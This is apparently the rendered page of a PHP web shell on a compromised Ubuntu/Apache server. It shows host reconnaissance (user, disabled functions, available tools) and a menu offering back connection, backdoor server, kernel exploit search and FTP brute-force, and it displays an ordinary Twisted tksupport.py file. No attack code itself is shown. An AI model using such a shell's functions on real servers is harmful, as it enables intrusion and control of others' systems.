|
System | : | Linux MiraNet 3.0.0-14-generic-pae #23-Ubuntu SMP Mon Nov 21 22:07:10 UTC 2011 i686 |
Software | : | Apache. PHP/5.3.6-13ubuntu3.10 |
ID | : | uid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup)
|
|
Safe Mode | : | OFF |
Open_Basedir | : | OFF |
Freespace | : | 24.23 GB of 70.42 GB (34.41%) |
|
MySQL: ON MSSQL: OFF Oracle: OFF PostgreSQL: OFF Curl: OFF Sockets: ON Fetch: OFF Wget: ON Perl: ON |
Disabled Functions: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
|
[ System Info ]
[ Processes ]
[ SQL Manager ]
[ Eval ]
[ Encoder ]
[ Mailer ]
[ Back Connection ]
[ Backdoor Server ]
[ Kernel Exploit Search ]
[ MD5 Decrypter ]
[ Reverse IP ]
[ Kill Shell ]
[ FTP Brute-Force ]
|
|
/
usr/
share/
pyshared/
twisted/
internet/
- drwxr-xr-x
|
Viewing file: tksupport.py (1.67 KB) -rw-r--r--Select action/file-type:  ( +) |  ( +) |  ( +) | Code ( +) | Session ( +) |  ( +) | SDB ( +) |  ( +) |  ( +) |  ( +) |  ( +) |  ( +) |
# Copyright (c) Twisted Matrix Laboratories. # See LICENSE for details.
""" This module integrates Tkinter with twisted.internet's mainloop.
Maintainer: Itamar Shtull-Trauring
To use, do::
| tksupport.install(rootWidget)
and then run your reactor as usual - do *not* call Tk's mainloop(), use Twisted's regular mechanism for running the event loop.
Likewise, to stop your program you will need to stop Twisted's event loop. For example, if you want closing your root widget to stop Twisted::
| root.protocol('WM_DELETE_WINDOW', reactor.stop)
"""
# system imports import Tkinter, tkSimpleDialog, tkMessageBox
# twisted imports from twisted.python import log from twisted.internet import task
_task = None
def install(widget, ms=10, reactor=None): """Install a Tkinter.Tk() object into the reactor.""" installTkFunctions() global _task _task = task.LoopingCall(widget.update) _task.start(ms / 1000.0, False)
def uninstall(): """Remove the root Tk widget from the reactor.
Call this before destroy()ing the root widget. """ global _task _task.stop() _task = None
def installTkFunctions(): import twisted.python.util twisted.python.util.getPassword = getPassword
def getPassword(prompt = '', confirm = 0): while 1: try1 = tkSimpleDialog.askstring('Password Dialog', prompt, show='*') if not confirm: return try1 try2 = tkSimpleDialog.askstring('Password Dialog', 'Confirm Password', show='*') if try1 == try2: return try1 else: tkMessageBox.showerror('Password Mismatch', 'Passwords did not match, starting over')
__all__ = ["install", "uninstall"]
|